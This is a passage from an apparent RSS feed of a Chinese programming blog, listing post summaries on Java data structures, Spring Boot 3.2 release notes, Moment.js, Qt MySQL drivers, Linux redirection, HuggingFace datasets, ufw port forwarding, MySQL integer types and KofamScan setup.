      <description>推荐链接：&#xA;总结——》【Java】&#xA;总结——》【Mysql】&#xA;总结——》【Redis】&#xA;总结——》【Kafka】&#xA;总结——》【Spring】&#xA;总结——》【SpringBoot】&#xA;总结——》【MyBatis、MyBatis-Plus】&#xA;总结——》【Linux】&#xA;总结——》【MongoDB】&#xA;总结——》【Elasticsearch】&#xA;Java——》线性数据结构 一、数组Array1、特点2、优点3、缺点4、示例 二、链表1、特点2、分类2.1 单向链表（1）删除节点（2）添加节点 2.2 双向链表（1）删除节点（2）添加节点 2.3 循环链表 三、队列queue1、特点2、数据结构演示3、示例 四、栈stack1、特点2、主要操作 线性表就是数据排成像一条线的结构。&#xA;每个线性表上的数据最多只有前和后两个方向。&#xA;线性表结构：数组、链表、队列、栈&#xA;一、数组Array 数组是一种线性表数据结构。用一组连续的内存空间，来存储一组具有固定大小的相同类型的数据。在数组中，数据元素按照有序的方式进行排列，可以通过索引访问数组中的任意位置的元素。&#xA;1、特点 顺序存储：按照顺序存储在连续的内存空间中类型相同：数组中的所有元素必须是相同的数据类型索引访问：每个元素都有一个唯一的索引，可以通过索引快速访问大小固定：一旦定义了数组的大小，就不能改变。如果需要更大的存储空间，需要重新定义一个新的数组。 2、优点 访问速度快：由于数组是顺序存储的，可以通过索引直接访问数组中的元素，时间复杂度为O(1)。易于实现：数组是一种简单的数据结构，容易实现和操作。 3、缺点 大小固定：数组的大小是固定的，不能动态扩展。如果需要更多的存储空间，需要重新定义一个新的数组，这会增加额外的开销。空间利用率低：由于数组是连续的内存空间，即使某些位置没有被使用，也不能被其他数据结构使用，导致空间利用率较低。 4、示例 // 动态初始化：初始化时由程序员只指定数组长度，由系统为数组元素分配初始值 char c1[] = new char[5]; // 静态初始化： 初始化时由程序员显示置顶每个数组的初始值，由系统决定数组长度 char c2[] = new char[]{&#39;E&#39;,&#39;D&#39;,&#39;U&#39;,&#39;Y&#39;,&#39;U&#39;}; char c3[] = {&#39;E&#39;,&#39;D&#39;,&#39;U&#39;,&#39;Y&#39;,&#39;U&#39;}; 二、链表 数组是一种线性表数据结构。&#xA;通过指针将一组零散的内存块串联在一起。链表中的每个内存块被称为节点，每个节点除了存储数据之外，还需要记录链上的下一个节点的地址。&#xA;1、特点 不需要连续的内存空间有指针引用插入、删除数据效率高，时间复杂度为O(1)级别（只需更改指针指向即可）；但是，随机访问效率低，时间复杂度O(n)级别（需要从链头至链尾进行遍历）。和数组相比，内存空间消耗更大，因为每个存储数据的节点都需要额外的空间存储后继指针。 2、分类 分类特点单向链表节点只有一个后继指针next指向后面的节点双向链表节点除了有一个后继指针next指向后面的节点外，还有一个前驱指针prev指向前面的节点循环链表循环链表与单向链表的唯一区别是尾节点的指针指向头节点，形成一个环 2.1 单向链表 单向链表由节点组成，每个节点都包含下一个节点的指针，表头为空，表头的后继节点是&#34;结点10&#34;(数据为10的结点)，“节点10&#34;的后继结点是&#34;节点20”(数据为20的结点)&#xA;（1）删除节点 （2）添加节点 2.2 双向链表 双链表由节点组成，每个结点中都有两个指针，分别指向直接后继和直接前驱。所以，从双向链表中的任意一个结点开始，都可以很方便地访问它的前驱结点和后继结点。&#xA;static final class Node { // 前一个节点 volatile Node prev; // 后一个节点 volatile Node next; // 链表节点存储的具体数据 volatile Thread thread; } （1）删除节点 （2）添加节点 2.</description>
    </item>
    <item>
      <title>上海数交所与合合信息发布产业数据行业创新中心，政产学研合力为“数据航母”加速</title>
      <link>https://bchobby.github.io/posts/5243bc469eb1132f677c0c98093830cd/</link>
      <pubDate>Tue, 28 Nov 2023 13:33:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5243bc469eb1132f677c0c98093830cd/</guid>
      <description>大数据产业是数字经济创新发展、加速发展的重要方向。11月25日，2023全球数商大会在上海盛大开幕。大会以“数联全球、商通未来”为主题，聚焦数字经济时代下，数据要素推动实体经济发展的规划与成果，是数据交易领域的行业级峰会和数据要素流通市场的生态盛会。&#xA;“产业数据”是基于企业经营和供需关系形成的，对产业整体和企业经营与信用状况描述的数据，也是推动行业数字化转型，社会智能化运作的关键要素。本次大会上，上海数据交易所与上海合合信息科技股份有限公司（简称“合合信息”）共同举办了《产业数据应用与流通》主题论坛，上海市经济和信息化委员会信息化推进处（大数据处）副处长山栋明，华为云全球生态总裁康宁出席论坛并发表致辞。&#xA;论坛期间，上海数据交易所与合合信息共同发布了业内首个产业数据行业创新中心（简称“中心”）。&#xA;构建生态中心，助力产业数据从“资源”向“价值”转化&#xA;产业数据类型多样，维度各异，既包括产业趋势数据等宏观数据，也有中观数据如产业结构、空间、指标相关的数据等。从微观层面看，每个产业主体都会产生属于自己的独特数据，且其中大部分以私域的形式进行保存，例如供应链数据、交易数据、票据数据、履约数据、生产数据、工业数据等。&#xA;产业数据在企业产业洞察、发展趋势研判、金融服务获取、供应链管理等领域中有着广泛的应用需求，也为相关部门制定、推行行业支持政策提供了评估依据。然而，由于产业数据技术栈复杂，数据资源多、杂、散，流通交易链条长，对于产业链上的个体而言，想要便捷地获取高质量的产业数据并进行有效应用，还需要疏通诸多“堵点”。产业数据行业创新中心应运而生。&#xA;据悉，中心由上海数据交易所与合合信息共同运营，通过打造一站式产业数据服务新链路，构建场内场外交易融合新范式，探索跨域数据融合新项目等三大创新举措，打造合规、公平、可信的数据交易秩序和数商生态，助力产业数据从“资源”向“价值”转化。&#xA;上海数交所为“产业数据行业创新中心”揭牌&#xA;图为上海数交所党总支书记、副总经理韦志林（左）与合合信息董事、副总经理陈青山（右）&#xA;合合信息董事、副总经理陈青山提到，产业数据行业创新中心主要具备“聚、用、创、易、乘”五大应用优势：“聚”——全栈数据采集加工技术；“用”——多样高质量产业数据资源；“创”——丰富数据产品场景方案 ；“易”——畅通在线数据交易渠道；“乘”——实现数据资产资本快速增值。&#xA;供应链金融是产业数据应用的重点领域。中心重点推出了“供应链数据要素跨域融合平台”（简称“平台”），汇集了大型集团企业平台、产业互联网平台、工业企业及工业互联网平台等多源第三方数据，通过国内首个基于数据空间技术形成的数据交易创新模式进行数据融合建模，在满足产业发展和普惠金融相关数据需求的同时，帮助数商更快捷地进行数据商业化。&#xA;与传统供应链数据要素流通模式相比，平台具备四大优势，一是多源聚合数据更完整；二是信用评估信息更准确；三是实现跨区域互补，供应链节点企业可以根据地域和其他个性化需求选择更合适的银行；四是可分析出整个产业链 、供应链的发展情况，为决策提供指导，让数据价值变现和增值。&#xA;合合信息在商业大数据技术及应用领域具备多年深耕经验，是平台的核心技术支持方之一。启信宝商业大数据产品基于境内2.3亿家企业等组织机构的超过1000亿条实时动态商业大数据，形成系列基础数据服务、标准化服务、场景化解决方案，已在金融、制造业、政务等多个行业中落地。&#xA;政产学研多方协力，下好产业数据“大棋局”&#xA;数字化浪潮之下，数据开放、共享已成全球关注的焦点。《产业数据应用与流通》主题论坛邀请了来自上海交通大学、复旦大学、工商银行、大成律所、中金公司等政府、高校、金融机构及企业的行业专家，围绕产业数据应用及服务的创新生态及产业数据要素流通等议题进行深入分享。&#xA;工商银行上海市分行科创中心总经理方奇表示，工商银行非常重视以数据要素驱动金融创新发展。数据产品的应用，对持续升级改进综合服务、生态场景、流程渠道和科技架构，为企业提供更加全面、更加方便、更加智慧的服务非常有价值。&#xA;大成律所高级合伙人、上海董事、中国区金融行业牵头人曲峰提到，数据要素正成为一种重要生产要素，宏观上是数字经济的基础，微观上也会带动新经济、新产业、新模式。数据要素市场的培育、价值的提升，首先需要确定数据要素资产产权权利；其次，需要构建数据资产的交易与流通的法律保障障环节。有了这两个基础，就可以延展于数据挖掘加工、商业场景应用及数据产品设计等多个方面。同时，曲峰认为，数据要素的商业应用离不开数据交易场所，以及数据的交易体系、交换、评估、流动、跨境流动等多个环节。&#xA;学术界也在积极思考新技术在数据要素流通渠道建设中的作用。“受到隐私保护和数据安全的限制，价值难以量化，开放数据许可协议不成熟，教育、出行、医疗、金融等领域的数据几乎无法直接流通，产业数据也面临类似的问题。”上海交通大学人工智能研究院总工程师金耀辉教授表示，利用大模型进行数据治理、数据扩充可实现更高的自由度，生成式人工智能为数据流通带来更多机会，未来有望为行业提供更多优质的产业数据。&#xA;复旦大学管理学院教授、博士生导师吴肖乐分享了基于数据对产业链、供应链韧性的评估方法。“基于全产业链的数据分析，能够洞察企业之间的供应关系，评估如何从供应链的角度推动产业链的补链、延链、强链。”吴肖乐提到，数据分析有助于在招商引资等领域中促进发展动能转换，推动产业结构调整，推进产业高质量发展。&#xA;“数据要素千亿元蓝海市场已经打开，产业链各环节价值量亟待挖掘。”中金公司研究部计算机行业首席分析师、副总经理于钟海表示，从整个数据交易链上看，数据的存储、分析、流通环节占比较大。目前，数据要素市场已经走过标准规范建立、标杆打造的阶段，未来将通过平台赋能、集中运营，去推进产业演进多产融合，产生新的业态。&#xA;“数据产品供应商 、业务场景数据需求方、资产评估方、经营数据资源方、数据产品经纪方是不可或缺的贡献者。中心将在上海数据交易所建设的新型数据要素基础设施的支持下，形成国内首个基于可信数据空间技术形成的数据交易创新模式，通过优秀的数据汇聚能力、应用创新能力、流通交易能力，助力国家下好数据要素‘战略大棋局’。”陈青山表示，合合信息将与上海数据交易所一起，在产业数据行业创新中心这座“数据航母”的带领下，与生态伙伴共同开拓产业数据“蓝海”，谱写产业生态共赢之路。</description>
    </item>
    <item>
      <title>Spring Boot 3.2 发行说明（机翻）</title>
      <link>https://bchobby.github.io/posts/ff87f1cb18f7687b2b8586a270aef291/</link>
      <pubDate>Tue, 28 Nov 2023 11:34:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff87f1cb18f7687b2b8586a270aef291/</guid>
      <description>英文原文：https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.2-Release-Notes&#xA;3.2 中的新增功能 3.2 版本的亮点包括：&#xA;支持虚拟线程对 JVM Checkpoint Restore （Project CRaC） 的初始支持SSL 捆绑包重新加载大量可观测性改进对 RestClient 的支持对 JdbcClient 的支持支持 Jetty 12支持 Spring for Apache Pulsar对 Kafka 和 RabbitMQ 的 SSL 捆绑包支持重新设计了嵌套 Jar 处理Docker 映像构建改进 从 Spring Boot 3.1 升级 参数名称发现 Spring Boot 3.2 使用的 Spring Framework 版本不再尝试通过解析字节码来推断参数名称。 如果遇到依赖项注入或属性绑定问题，则应仔细检查是否正在使用该选项进行编译。有关详细信息，请参阅“升级到 Spring Framework 6.x”wiki 的这一部分。-parameters&#xA;记录的应用程序名称 现在，只要您设置了属性，默认日志输出就会包含您的应用程序名称。 如果您更喜欢以前的格式，可以设置为 .spring.application.name``logging.include-application-name``false&#xA;自动配置的用户详细信息服务 现在，当一个或多个 、 和位于类路径上时，自动配置的会回退。 同样，在反应式应用程序中，当一个或多个 和 是类路径之一时，自动配置的现在会回退。InMemoryUserDetailsManager``spring-security-oauth2-client``spring-security-oauth2-resource-server``spring-security-saml2-service-provider``MapReactiveUserDetailsService``spring-security-oauth2-client``spring-security-oauth2-resource-server&#xA;如果您正在使用上述依赖项之一，但在应用程序中仍然需要 OR，请在应用程序中定义所需的 bean。InMemoryUserDetailsManager``MapReactiveUserDetailsService&#xA;OTLP 跟踪端点 默认值 已被删除。 现在，只有当 Bean 具有值时，才会自动配置。 要恢复旧行为，请将 。management.</description>
    </item>
    <item>
      <title>使用Moment.js中获取上周的开始日期和结束日期（可自定义）</title>
      <link>https://bchobby.github.io/posts/82e7cd34d60a5920631ae9c73a4681d5/</link>
      <pubDate>Tue, 28 Nov 2023 10:32:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82e7cd34d60a5920631ae9c73a4681d5/</guid>
      <description>前言 有时候需求是这样的，想要获取上周的开始日期和结束日期，或者前几周的时间范围&#xA;比如今天是2023.11.28号，我想获取上周的周一到周日，也就是，上周的开始日期: 2023-11-20，上周的结束日期: 2023-11-26&#xA;1.上代码，这种是直接获取的是上周的周一到周日 import moment from &#39;moment&#39;; // 获取当前日期 const currentDate = moment(); // 获取上周的开始日期（周一） const lastWeekStartDate = moment(currentDate).clone().subtract(1, &#39;weeks&#39;).startOf(&#39;isoWeek&#39;); // 获取上周的结束日期（周天） const lastWeekEndDate = moment(currentDate).clone().subtract(1, &#39;weeks&#39;).endOf(&#39;isoWeek&#39;); console.log(&#39;上周的开始日期:&#39;, lastWeekStartDate.format(&#39;YYYY-MM-DD&#39;)); console.log(&#39;上周的结束日期:&#39;, lastWeekEndDate.format(&#39;YYYY-MM-DD&#39;)); 2.如果想获取前三周的周一到周日 import moment from &#39;moment&#39;; // 获取当前日期 const currentDate = moment(); // 获取上周的开始日期（周一） const lastWeekStartDate = moment(currentDate).clone().subtract(3, &#39;weeks&#39;).startOf(&#39;isoWeek&#39;); // 获取上周的结束日期（周天） const lastWeekEndDate = moment(currentDate).clone().subtract(3, &#39;weeks&#39;).endOf(&#39;isoWeek&#39;); console.log(&#39;上周的开始日期:&#39;, lastWeekStartDate.format(&#39;YYYY-MM-DD&#39;)); console.log(&#39;上周的结束日期:&#39;, lastWeekEndDate.format(&#39;YYYY-MM-DD&#39;)); 3.如果想获取自定义的周一到周日 subtract(10, ‘weeks’) 这里的10可以替换成你想要的周期&#xA;import Moment from &#39;moment&#39; Vue.</description>
    </item>
    <item>
      <title>Qt编译数据库驱动（Qt6）</title>
      <link>https://bchobby.github.io/posts/44667e96d42f075f6bf83b1c2a0f7131/</link>
      <pubDate>Tue, 28 Nov 2023 09:54:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44667e96d42f075f6bf83b1c2a0f7131/</guid>
      <description>背景介绍 在高版本的Qt中官方并没有为我们提供可用的mysql和oralce插件，只提供了源代码（不能直接使用），需要我们基于这些源码自行编译得到对应的动态库（静态库）之后，才能被程序加载从而连接上相应的数据库。&#xA;关于在程序中连接数据库有很多种处理方式，比如：odbc、ado等，在Qt底层也对数据库的连接进行了封装，基于不同的连接方式为我们提供了不同的插件（二进制代码，在需要的时候被加载，表现形式为动态库、静态库）。&#xA;查看Qt版本 查看mysql版本 MySQL的版本是Ver 8.0.31 for Win64 on x86_64。这意味着你的MySQL是运行在64位Windows操作系统上的，并且安装的MySQL版本是64位的。&#xA;注意事项 Qt 编译套件的位数和数据库的位数必须相同，都是32位或都是64位。&#xA;编译驱动步骤 1.确保Qt下载了源码 2.找到源码目录 3.打开项目文件 问题：发现mysql文件夹中，没有以前版本的mysql.pro文件，可供编译&#xA;用MinGW编译 4. 新建一个目录专门用来生成驱动 原因：mysql的默认安装目录存在空格，将会导致找不到对应的文件，所以需要将mysql文件夹中的部分文件夹复制到该临时文件夹中，再进行编译。 5.用Qt Creator打开项目 6.选用编译器 7. Qt Creator会自动配置好项目 8.找到mysql的目录 9.将该文件夹下的include和lib文件夹复制到你的另一个工作目录 10.从项目文件中找到并打开.cmake.conf文件 在末尾增加三句话&#xA;规则&#xA;我的&#xA;set(QT_REPO_MODULE_VERSION &#34;6.2.4&#34;) SET(FEATURE_sql_mysql ON) SET(MySQL_INCLUDE_DIR &#34;D:/Colin/temp/include&#34;) SET(MySQL_LIBRARY &#34;D:/Colin/temp/lib/libmysql.lib&#34;) 报错（不一定都有） 1. 在其他地方已经编译过了，将原来的缓存目录（build-sqldrivers-Desktop_Qt_6_2_4_MinGW_64_bit-Debug）删除，&#xA;2. 修改D:\App\QT\6.2.4\Src\qtbase\src\plugins\sqldrivers\mysql\qsql_mysql.cpp文件第1256行&#xA;11.编译成功 12.查看生成的文件 路径：D:\App\QT\6.2.4\Src\qtbase\src\plugins\build-sqldrivers-Desktop_Qt_6_2_4_MinGW_64_bit-Debug\plugins\sqldrivers&#xA;13. 将编译好的驱动复制到编译器的驱动插件文件夹中 14.将MySQL的lib和dll文件给编译器 15.测试代码 1）在pro文件中添加数据库模块 2）回想一下密码 3）源文件 Widget::Widget(QWidget *parent) : QWidget(parent) , ui(new Ui::Widget) { ui-&amp;gt;setupUi(this); QStringList list = QSqlDatabase::drivers(); qDebug() &amp;lt;&amp;lt; list; QSqlDatabase db = QSqlDatabase::addDatabase(&#34;</description>
    </item>
    <item>
      <title>【Linux】初识重定向（输入输出）</title>
      <link>https://bchobby.github.io/posts/aa6348ab642d1d5cabc16ce2cbbb06e1/</link>
      <pubDate>Mon, 27 Nov 2023 22:42:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa6348ab642d1d5cabc16ce2cbbb06e1/</guid>
      <description>一切皆文件&#xA;这是Linux的设计理念，因为这个理念的存在我们可以使用统一的方法对待不同的东西，，这也是为什么嵌入式之类的会需要Linux，因为用LInux来操纵硬件真的很方便&#xA;另外我们下文也会都基于这个理念来命名，&#xA;比如：显示器我们叫显示器文件&#xA;目录 输出重定向：追加重定向：输入重定向： 输出重定向： 回到主题:&#xA;我们先看如下的行命令&#xA;echo是一个向显示器文件输出的命名，&#34;中有什么就会打印什么到屏幕中&#34;，就像上图一样。&#xA;但是如果我们在echo时加入一个&amp;gt;符号，我们就会创建一个log.txt的文件，并且其中有内容，正是我们原本要输出到屏幕上的内容&#xA;这就是输出重定向，把原本要输出到显示器文件上的内容重定向到另一个普通文件中&#xA;故&amp;gt;就是输出重定向的符号。&#xA;性质：&#xA;当没有文件时创建文件，有文件时清空文件将原本向一个文件输出的数据转移到另一个文件 我们知道，Linux大部分是C语言编写的，这个就像C语言中的打开文件，创建文件&#xA;此时我们创建一个C语言文件，会得到一个data.txt的文件&#xA;我们进行下图的操作，就会比较清晰的看到&amp;gt;就是以&#34;w&#34;方式打开文件&#xA;一一一一一一一一一分割线一一一一一一一一一&#xA;追加重定向： 输出重定向是一个&amp;gt;,相当于&#34;w&#34;方式打开&#xA;追加重定向是两个&amp;gt;&amp;gt;,相当于&#34;a&#34;方式打开&#xA;一一一一一一一一一分割线一一一一一一一一一&#xA;输入重定向： 我们先了解一个cat命令的特性，我们都知道cat命令是打印的命令，如果我们不在cat后边加上要打印的文件，就成了从键盘输入，输入什么就打印出来什么（图片不容易展示，还是自己操作最好哦）&#xA;那么输出重定向的符号当然就是&amp;lt;,相当于以&#34;r&#34;的方式打开&#xA;将原本从键盘输入的变成了从文件输入&#xA;当然此篇只是初识，一个大体的了解，博主也会继续更新新的内容&#xA;欢迎讨论哦</description>
    </item>
    <item>
      <title>HuggingFace学习笔记--datasets的使用</title>
      <link>https://bchobby.github.io/posts/91688bde6979baaccd9cf3d4f9d83f0a/</link>
      <pubDate>Mon, 27 Nov 2023 20:33:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91688bde6979baaccd9cf3d4f9d83f0a/</guid>
      <description>目录&#xA;1--datasets的使用&#xA;1-1--加载数据集&#xA;1-2--查看数据集&#xA;1-3--打乱和排序数据集&#xA;1-4--选择和筛选数据集&#xA;1-5--划分数据集&#xA;1-6--修改数据集&#xA;1-7--导出数据集&#xA;1--datasets的使用 1-1--加载数据集 代码：&#xA;from datasets import load_dataset, load_from_disk if __name__ == &#34;__main__&#34;: # 加载数据集 dataset = load_dataset(path = &#39;lansinuote/ChnSentiCorp&#39;) # 保存数据集 dataset.save_to_disk(dataset_dict_path = &#39;./data/ChnSentiCorp&#39;) # 从本地加载数据集 dataset = load_from_disk(&#39;./data/ChnSentiCorp&#39;) print(dataset) 输出结果：&#xA;DatasetDict({ train: Dataset({ features: [&#39;text&#39;, &#39;label&#39;], num_rows: 9600 }) validation: Dataset({ features: [&#39;text&#39;, &#39;label&#39;], num_rows: 1200 }) test: Dataset({ features: [&#39;text&#39;, &#39;label&#39;], num_rows: 1200 }) }) 1-2--查看数据集 代码：&#xA;from datasets import load_from_disk if __name__ == &#34;</description>
    </item>
    <item>
      <title>Deep Reinforcement Learning Based Resource Allocation andTrajectory Planning in Integrated Sensing</title>
      <link>https://bchobby.github.io/posts/6f70b7e976b83d41477f0337f5a2f008/</link>
      <pubDate>Mon, 27 Nov 2023 20:31:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f70b7e976b83d41477f0337f5a2f008/</guid>
      <description>1、基本内容： ISAC通过共享设备和频谱，可以大大降低硬件成本和训练开销，从而提高频谱效率和能量效率。由于UAV具有可控的移动性，部署的灵活性及其低廉的成本，利用UAV作为空中ISAC基站不仅可以通过移动建立直视路径，而且可以大大增加ISAC系统的灵活性。但是，由此带来的调度和轨迹规划问题是设计难点。&#xA;本文联合优化用户关联、无人机轨迹规划和功率分配，以最大化无人机的最小加权频谱效率。&#xA;(1)作者首先利用对称群对原问题进行了等效变换，然后利用SAC算法求解。为了提高样本效率，作者引入了两种数据增强方案：random和adaptive。&#xA;(2)利用多智能体SAC（MASAC）求解问题。&#xA;2、系统模型： 多无人机（2D）、多目标用户&#xA;无人机位置：&#xA;一个时隙飞行的最大距离：&#xA;无人机间的最小避免碰撞距离：&#xA;用户协同：每架无人机可服务多个目标用户，且每个目标用户仅由一架无人机服务。&#xA;无人机最大能量约束：&#xA;——————————————————————————————————————————&#xA;通信信道增益：&#xA;感知信道增益：&#xA;通信频谱效率：&#xA;感知频谱效率：&#xA;加权频谱效率：&#xA;长期的加权频谱效率：&#xA;3、优化问题： 混合动作空间：&#xA;因为，所以在设计奖励函数时，需要引入Jain 公平指数。&#xA;Jain 公平指数：&#xA;奖励函数：&#xA;作者提出每个无人机的索引都是认为安排的，那么可以对其索引进行全排列，这样可以轻松得到其对称群，将对称群的数据也加入到经验池，相当于实现经验池数据的扩充。（没太看懂，感觉就是把一组数据复制了多次）&#xA;数据增强方案：&#xA;（1）random：每个episode从对称群中随机选一定数量的轨迹。&#xA;（2）adaptive：随着算法训练，从对称群中选取的轨迹适应性减少。&#xA;选取数量：&#xA;参考文献 [1]Y. Qin, Z. Zhang, X. Li, W. Huangfu and H. Zhang, &#34;Deep Reinforcement Learning Based Resource Allocation and Trajectory Planning in Integrated Sensing and Communications UAV Network,&#34; in IEEE Transactions on Wireless Communications, vol. 22, no. 11, pp.</description>
    </item>
    <item>
      <title>Python Flask 基础入门第一课：创建Flask app并与前端进行简单交互</title>
      <link>https://bchobby.github.io/posts/b145bf978b951d09ab0358e88c711034/</link>
      <pubDate>Mon, 27 Nov 2023 17:34:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b145bf978b951d09ab0358e88c711034/</guid>
      <description>Flask 基础入门第一课 介绍 Flask 是一个使用 Python 编写的轻量级 Web 框架，它被广泛应用于开发 Web 应用和 API。它具有简洁、灵活和易于上手的特点，使得它成为学习和构建 Web 应用的理想选择。在本篇教程中，我们将介绍 Flask 的基础知识，并提供一些可实际运行的示例代码，同时附带前端代码，以帮助你快速入门。&#xA;环境设置 在开始之前，我们需要确保你的开发环境已经安装了 Flask。你可以使用以下命令通过 pip 安装 Flask：&#xA;pip install flask 安装完成后，我们可以开始编写我们的第一个 Flask 应用程序。&#xA;Hello, Flask! 首先，让我们创建一个简单的 Flask 应用，用于输出 “Hello, Flask!”。&#xA;# app.py from flask import Flask app = Flask(__name__) @app.route(&#39;/&#39;) def hello(): return &#39;Hello, Flask!&#39; if __name__ == &#39;__main__&#39;: app.run() 在上面的示例代码中，我们导入了 Flask 类，并创建了一个应用实例 app。然后，我们定义了一个路由 /，并使用 @app.route 装饰器将该路由与 hello 函数绑定。hello 函数将返回 “Hello, Flask!”。最后，通过 app.run() 启动应用。</description>
    </item>
    <item>
      <title>Ubuntu使用ufw防火墙实现端口转发</title>
      <link>https://bchobby.github.io/posts/48add8f62aec802a14cd2ad2e71d387a/</link>
      <pubDate>Mon, 27 Nov 2023 16:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48add8f62aec802a14cd2ad2e71d387a/</guid>
      <description>很多服务器往往对外网络不友好，在连接ssh和Windows远程桌面等操作时，需要借助另一台对内网络友好的服务器进行tcp转发，以达到优化连接质量。&#xA;Ubuntu默认防火墙是ufw，很多网上的资料，多数为卸载ufw安装iptables实现，那么想要保留ufw实现转发需要哪些操作呢？&#xA;1、修改 /etc/default/ufw，找到 DEFAULT_FORWARD_POLICY，修改为：&#xA;DEFAULT_FORWARD_POLICY=&#34;ACCEPT&#34; 2、开启转发，修改 /etc/sysctl.conf，增加一行&#xA;net.ipv4.ip_forward=1 然后执行命令 sysctl -p 使其生效。&#xA;3、修改 /etc/ufw/before.rules，在 *filter 之前，加入以下这段： *nat :PREROUTING ACCEPT [0:0] -A PREROUTING -p tcp -m tcp -d $from_ip --dport $from_port -j DNAT --to-destination $to_ip:$to_port -A POSTROUTING -j MASQUERADE COMMIT 请把 f r o m i p 、 from_ip、 fromi​p、from_port、$to_ip 和 $to_port 变量修改为实际值,如：&#xA;-A PREROUTING -p tcp -m tcp -d 172.10.10.2 --dport 80 -j DNAT --to-destination 172.16.10.6:80 4、把相关端口打开 sudo ufw allow from any to any port $port 或</description>
    </item>
    <item>
      <title>Mysql——》int(1)和 int(10)区别</title>
      <link>https://bchobby.github.io/posts/ccd6dab2ed5283e17388a7b8ac53210c/</link>
      <pubDate>Mon, 27 Nov 2023 15:12:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccd6dab2ed5283e17388a7b8ac53210c/</guid>
      <description>推荐链接：&#xA;总结——》【Java】&#xA;总结——》【Mysql】&#xA;总结——》【Redis】&#xA;总结——》【Kafka】&#xA;总结——》【Spring】&#xA;总结——》【SpringBoot】&#xA;总结——》【MyBatis、MyBatis-Plus】&#xA;总结——》【Linux】&#xA;总结——》【MongoDB】&#xA;总结——》【Elasticsearch】&#xA;文章名称 1、UNSIGNED：无符号2、ZEROFILL：填充零3、长度4、总结 不同类型的最大存储范围是不一样的。&#xA;类型单位（字节）有符号取值范围无符号取值范围tinyint1-128 ~ 1270 ~ 255smallint2-32768 ~ 327670 ~ 65535mediumint3-8388608 ~ 83886070 ~ 16777215int4-2147483648 ~ 21474836470 ~ 4294967295integer4-2147483648 ~ 21474836470 ~ 4294967295bigint8-9223372036854775808 ~ 92233720368547758070 ~ 18446744073709551615 1、UNSIGNED：无符号 表示不允许负值。&#xA;Q：有符号 VS 无符号？&#xA;A：&#xA;相同：&#xA;相同的存储空间相同的性能 不同：&#xA;不同的存储范围 2、ZEROFILL：填充零 如果数据宽度小于指定长度，则在数字前面填充零&#39;0&#39;。&#xA;当使用zerofill 时，默认会自动加unsigned(无符号)属性。&#xA;3、长度 数值类型设置的长度并不影响该数值字段的取值范围，只是规定了用来显示字符的个数。&#xA;长度只有在设置 ZEROFILL 即 “填充零” 后才有所意义。&#xA;比如 int(3) 存储 1 ，填充零时会填充为 001。&#xA;CREATE TABLE `test` ( `num` int(3) DEFAULT NULL, `num_zerofill` int(3) unsigned zerofill DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT=&#39;测试&#39;; INSERT INTO `test` (`num`, `num_zerofill`) VALUES (1, 1); INSERT INTO `test` (`num`, `num_zerofill`) VALUES (2, 2); INSERT INTO `test` (`num`, `num_zerofill`) VALUES (3, 3); INSERT INTO `test` (`num`, `num_zerofill`) VALUES (4, 4); INSERT INTO `test` (`num`, `num_zerofill`) VALUES (5, 5); 4、总结 1.</description>
    </item>
    <item>
      <title>KofamScan-KEGG官方推荐的使用系同源和隐马尔可夫模型进行KO注释</title>
      <link>https://bchobby.github.io/posts/2c06293894aea99597740905baf6b7ce/</link>
      <pubDate>Mon, 27 Nov 2023 15:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c06293894aea99597740905baf6b7ce/</guid>
      <description>文章目录 简介安装使用输入蛋白序列输出detail-tsv格式输出detail格式输出mapper格式 输出结果detail和detail-tsv格式mapper格式常用命令tmp目录 与emapper结果比较其他参数参考 简介 KofamScan 是一款基于 KEGG 直系同源和隐马尔可夫模型（HMM）的基因功能注释工具，可通过同源搜索和预先计算的自适应分数阈值，将 KEGG 同源物（KOs）分配给蛋白质序列的隐马尔可夫模型（KOfam）数据库。在线版本可在 https://www.genome.jp/tools/kofamkoala/ 上获取。KofamKOALA 比现有的 KO 分配工具更快，其准确性可与性能最好的工具相媲美。KofamKOALA 的功能注释有助于将基因与 KEGG 通路图等 KEGG 资源联系起来，并促进分子网络的重建。&#xA;安装 # 软件 (base) [yut@io02 ~]$ mamba install -c bioconda kofamscan # 数据库 # filezila打开ftp.genome.jp看一下最新版数据库更新时间 mkdir -p KoFamDB20231025 cd KoFamDB20231025 #数据库： wget ftp://ftp.genome.jp/pub/db/kofam/ko_list.gz wget ftp://ftp.genome.jp/pub/db/kofam/profiles.tar.gz gunzip ko_list.gz tar xvzf profiles.tar.gz 使用 输入蛋白序列 查询文件是包含一个或多个氨基酸序列的 FASTA 文件。不能使用核苷酸序列。每个序列必须有一个唯一的名称。序列名称是介于标题符号（“&amp;gt;”）和第一个空白字符（空格、制表符、换行符等）之间的字符串。请勿在&#34;&amp;gt;&#34;之后使用空格。&#xA;(base) [yut@node01 TestData]$ grep -c &#34;&amp;gt;&#34; GCA_002343985.1_ASM234398v1_genomic.faa 2486 # 蛋白数量 输出detail-tsv格式 time exec_annotation -p ~/Database/KoFamDB20231025/profiles -k ~/Database/KoFamDB20231025/ko_list --cpu 10 --tmp-dir .</description>
    </item>
    <item>
      <title>Python 安装 启动项目 有线版/离线版</title>
      <link>https://bchobby.github.io/posts/be1c0078027464af1b9ac1db5f2135e6/</link>
      <pubDate>Mon, 27 Nov 2023 14:37:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be1c0078027464af1b9ac1db5f2135e6/</guid>
